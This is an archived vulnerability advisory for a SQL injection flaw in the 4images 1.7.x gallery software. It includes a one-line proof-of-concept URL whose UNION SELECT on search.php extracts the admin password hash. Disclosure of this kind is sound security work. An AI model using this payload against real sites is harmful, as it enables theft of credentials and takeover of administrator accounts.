AOH :: HP Unsorted Nums :: B06-5118.HTM

4images SQL Injection



SQL injection - 4images
SQL injection - 4images



/****************************************/
http://www.w4cking.com 

Product:
4images 1.7.x
http://www.4homepages.de 

Vulnerability:
SQL injection

Notes:
- SQL injection can be used to obtain password hash
- for version 1.7.3, you must log in as a registered user

POC:
/<4images_dir>/search.php?search_user=x%2527%20union%20select%20user_password%20from%204images_users%20where%20user_name=%2527ADMIN

Original advisory with exploit script (requires registration):
http://w4ck1ng.com/board/showthread.php?t=1037 

/****************************************/

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.